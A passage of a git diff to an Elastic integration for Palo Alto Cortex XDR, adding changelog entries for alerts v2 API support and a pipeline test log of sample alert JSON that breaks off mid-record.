+ "action_pretty": "Detected"
+ }
+ ]
+ }
+ }
+ `}}
- path: /public_api/v1/alerts/get_alerts_multi_events
methods: [POST]
request_headers:
diff --git a/packages/panw_cortex_xdr/changelog.yml b/packages/panw_cortex_xdr/changelog.yml
index 36e171887a0..931b8d8726a 100644
--- a/packages/panw_cortex_xdr/changelog.yml
+++ b/packages/panw_cortex_xdr/changelog.yml
@@ -1,4 +1,14 @@
# newer versions go on top
+- version: "2.1.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
+- version: "2.0.0"
+ changes:
+ - description: Add support for alerts v2 API.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12725
- version: "1.32.1"
changes:
- description: Delete the `remove` processor thats clearing all fields and update rename processors with `override - true`.
diff --git a/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log b/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log
new file mode 100644
index 00000000000..bdbf1b4f6cc
--- /dev/null
+++ b/packages/panw_cortex_xdr/data_stream/alerts/_dev/test/pipeline/test-panw-xdr-v2.log
@@ -0,0 +1,3 @@
+{"agent_os_sub_type":"","fw_app_category":null,"fw_app_id":null,"fw_app_subcategory":null,"fw_app_technology":null,"category":"","causality_actor_process_command_line":["/usr/bin/ssh -l user 10.0.0.16"],"causality_actor_process_image_md5":["5eb63fb92d72bc703c3d81b2c133d713"],"causality_actor_process_image_name":[""],"causality_actor_process_image_path":[""],"causality_actor_process_image_sha256":["a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad"],"causality_actor_process_signature_status":["Signed"],"causality_actor_process_signature_vendor":[""],"causality_actor_causality_id":[""],"identity_sub_type":null,"identity_type":null,"operation_name":null,"project":null,"cloud_provider":null,"referenced_resource":null,"resource_sub_type":null,"resource_type":null,"cluster_name":null,"container_id":null,"contains_featured_host":["NO"],"contains_featured_ip":["NO"],"contains_featured_user":["NO"],"action_country":["UNKNOWN"],"description":"The user domain\\username enabled a default account. The default account enabled: domain\\username","fw_interface_to":null,"dns_query_name":null,"agent_device_domain":null,"fw_email_recipient":null,"fw_email_sender":null,"fw_email_subject":null,"events":null,"event_type":["Process Execution"],"is_whitelisted":false,"action_file_macro_sha256":null,"action_file_md5":null,"action_file_name":null,"action_file_path":null,"action_file_sha256":null,"fw_device_name":null,"fw_rule_id":null,"fw_rule":null,"fw_serial_number":null,"agent_fqdn":null,"agent_os_type":"","image_name":null,"actor_process_image_name":[""],"actor_process_command_line":[""],"actor_process_image_md5":["5eb63fb92d72bc703c3d81b2c133d713"],"actor_process_image_path":[""],"actor_process_os_pid":[996],"actor_process_image_sha256":["a54d6aa2d0bc4e37f06789125f5d732e822da3f0dd2b482c851c8ee5ae8ee8ad"],"actor_process_signature_status":["Signed"],"actor_process_signature_vendor":[""],"actor_thread_thread_id":[7452],"fw_is_phishing":["N/A"],"action_local_ip":["89.160.20.128"],"action_local_port":[8080],"fw_misc":null,"mitre_tactic_id_and_name":["TA0005 - Defense Evasion"],"mitre_technique_id_and_name":["T1089 - Disabling Security Tools"],"module_id":null,"fw_vsys":null,"os_actor_process_command_line":["